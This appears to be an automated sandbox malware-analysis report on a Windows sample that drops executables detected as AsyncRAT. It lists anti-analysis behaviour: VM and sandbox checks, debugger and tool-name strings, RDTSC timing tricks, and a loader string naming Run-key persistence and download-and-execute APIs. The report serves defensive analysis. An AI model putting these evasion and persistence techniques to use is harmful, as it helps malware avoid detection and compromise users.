Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9F33.tmp.cc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 21.0.79F6.tmp.AsyncClient.exe.f40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000000.2918234862.0000000000F42000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2984519504.000000000AA2D000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1028, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6737.tmp.fcxcx.exe PID: 3748, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe, type: DROPPED

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_7-1472
Source: C:\Windows\System32\msiexec.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_15-1396
Source: C:\Windows\System32\msiexec.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_15-1170
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_14-1155
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_7-1157
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_12-1212
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_14-1450
Source: C:\Windows\System32\audiodg.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_13-1156
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_12-1459
Source: C:\Windows\System32\audiodg.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_13-1469

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_0-10544
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_2-9739

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\explorer.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: K6UAlAU.exe, 232B06DEE822786254513.exe, audiodg.exe, svchost.exe, msiexec.exe	Binary or memory string: PROCESSHACKER.EXE
Source: K6UAlAU.exe, 232B06DEE822786254513.exe, audiodg.exe, svchost.exe, msiexec.exe	Binary or memory string: PROCMON.EXE
Source: K6UAlAU.exe, 232B06DEE822786254513.exe, audiodg.exe, svchost.exe, msiexec.exe	Binary or memory string: X64DBG.EXE
Source: explorer.exe, 0000000B.00000003.2984519504.000000000AA2D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: K6UAlAU.exe, 232B06DEE822786254513.exe, audiodg.exe, svchost.exe, msiexec.exe	Binary or memory string: AUTORUNS.EXE
Source: msiexec.exe, 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmp	Binary or memory string: GETTHREADIDKERNEL32NTDLLISWOW64PROCESSKERNEL32ZEROX64MADE IN ALGERIA <3REFLECTIVELOADERSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNGQGWZDSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\STARTUPAPPROVED\RUNSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\STARTUPAPPROVED\STARTUPFOLDER.EXELOADLIBRARYAKERNEL32.DLLGETPROCADDRESSKERNEL32.DLLWCSCPYMSVCRT.DLLWCSCATMSVCRT.DLLWCSCMPMSVCRT.DLLWCSNCPYMSVCRT.DLLWCSLENMSVCRT.DLLSTRLENMSVCRT.DLLREALLOCMSVCRT.DLLFREEMSVCRT.DLLWCSSTRMSVCRT.DLLGETWINDOWSDIRECTORYWKERNEL32.DLLGETVOLUMEINFORMATIONWKERNEL32.DLLLSTRCATWKERNEL32.DLLSETFILEATTRIBUTESWKERNEL32.DLLCLOSEHANDLEKERNEL32.DLLGETVERSIONEXAKERNEL32.DLLDELETEFILEWKERNEL32.DLLCREATEDIRECTORYAKERNEL32.DLLGETFILEATTRIBUTESAKERNEL32.DLLGETMODULEFILENAMEAKERNEL32.DLLCOPYFILEAKERNEL32.DLLGETWINDOWSDIRECTORYAKERNEL32.DLLCREATEFILEAKERNEL32.DLLHEAPALLOCKERNEL32.DLLGETPROCESSHEAPKERNEL32.DLLEXPANDENVIRONMENTSTRINGSWKERNEL32.DLLRESUMETHREADKERNEL32.DLLSETTHREADCONTEXTKERNEL32.DLLRTLCOMPAREMEMORYKERNEL32.DLLVIRTUALALLOCEXKERNEL32.DLLGETMODULEHANDLEAKERNEL32.DLLGETTHREADCONTEXTKERNEL32.DLLGETMODULEFILENAMEWKERNEL32.DLLVIRTUALPROTECTEXKERNEL32.DLLGETLASTERRORKERNEL32.DLLRELEASEMUTEXKERNEL32.DLLCREATEMUTEXAKERNEL32.DLLHEAPFREEKERNEL32.DLLWAITFORSINGLEOBJECTKERNEL32.DLLCREATETHREADKERNEL32.DLLCHECKREMOTEDEBUGGERPRESENTKERNEL32.DLLGETCURRENTPROCESSKERNEL32.DLLISDEBUGGERPRESENTKERNEL32.DLLEXITPROCESSKERNEL32.DLLDELETEFILEAKERNEL32.DLLPROCESS32NEXTWKERNEL32.DLLTERMINATEPROCESSKERNEL32.DLLOPENPROCESSKERNEL32.DLLPROCESS32FIRSTWKERNEL32.DLLCREATETOOLHELP32SNAPSHOTKERNEL32.DLLSETENDOFFILEKERNEL32.DLLLSTRCMPAKERNEL32.DLLWRITEPROCESSMEMORYKERNEL32.DLLREADPROCESSMEMORYKERNEL32.DLLGETFILESIZEKERNEL32.DLLWRITEFILEKERNEL32.DLLADJUSTTOKENPRIVILEGESADVAPI32.DLLOPENPROCESSTOKENADVAPI32.DLLLOOKUPPRIVILEGEVALUEWADVAPI32.DLLGETTOKENINFORMATIONADVAPI32.DLLCREATEFILEWKERNEL32.DLLSHGETFOLDERPATHWSHELL32.DLLSHGETFOLDERPATHASHELL32.DLLLSTRCATAKERNEL32.DLLSETFILEATTRIBUTESAKERNEL32.DLLSHGETKNOWNFOLDERPATHSHELL32.DLLFREELIBRARYKERNEL32.DLLMOVEFILEWKERNEL32.DLLGETFILESIZEEXKERNEL32.DLLGETWINDOWSDIRECTORYAKERNEL32.DLLGETVOLUMEINFORMATIONAKERNEL32.DLLGETTICKCOUNTKERNEL32.DLLWSPRINTFWUSER32.DLLWSPRINTFAUSER32.DLLVIRTUALALLOCKERNEL32.DLLREADFILEKERNEL32.DLLSLEEPKERNEL32.DLLVIRTUALFREEKERNEL32.DLLSETFILEPOINTERKERNEL32.DLLCREATEDIRECTORYWKERNEL32.DLLFINDFIRSTFILEWKERNEL32.DLLFINDNEXTFILEWKERNEL32.DLLFINDCLOSEKERNEL32.DLLCOPYFILEWKERNEL32.DLLWRITEFILEKERNEL32.DLLGETSYSTEMDIRECTORYWKERNEL32.DLLEXITPROCESSKERNEL32.DLLCREATEREMOTETHREADKERNEL32.DLLINTERNETOPENURLWWININET.DLLINTERNETREADFILEWININET.DLLHTTPQUERYINFOAWININET.DLLINTERNETOPENWWININET.DLLINTERNETCONNECTWWININET.DLLHTTPOPENREQUESTWWININET.DLLHTTPSENDREQUESTAWININET.DLLINTERNETCLOSEHANDLEWININET.DLLPATHISURLWSHLWAPI.DLLPATHCOMBINEWSHLWAPI.DLLPATHFINDFILENAMEWSHLWAPI.DLLSTRSTRASHLWAPI.DLLURLDOWNLOADTOFILEWURLMON.DLLCREATEPROCESSWKERNEL32.DLLSHELLEXECUTEWSHELL32.DLLGETMODULEFILENAMEWKERNEL32.DLLGETSHORTPATHNAMEWKERNEL32.DLLGETENVIRONMENTVARIABLEWKERNE
Source: K6UAlAU.exe, 232B06DEE822786254513.exe, audiodg.exe, svchost.exe, msiexec.exe	Binary or memory string: IDAQ.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 21F646 second address: 21F64A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39980B second address: 399815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD7BCB87A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399815 second address: 399831 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FD7BCC58FE6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399831 second address: 399836 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399836 second address: 399852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7BCC58FE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399ACB second address: 399B04 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD7BCB87A21h 0x00000008 jmp 00007FD7BCB87A22h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 jmp 00007FD7BCB87A1Eh 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399B04 second address: 399B0E instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD7BCC58FDEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
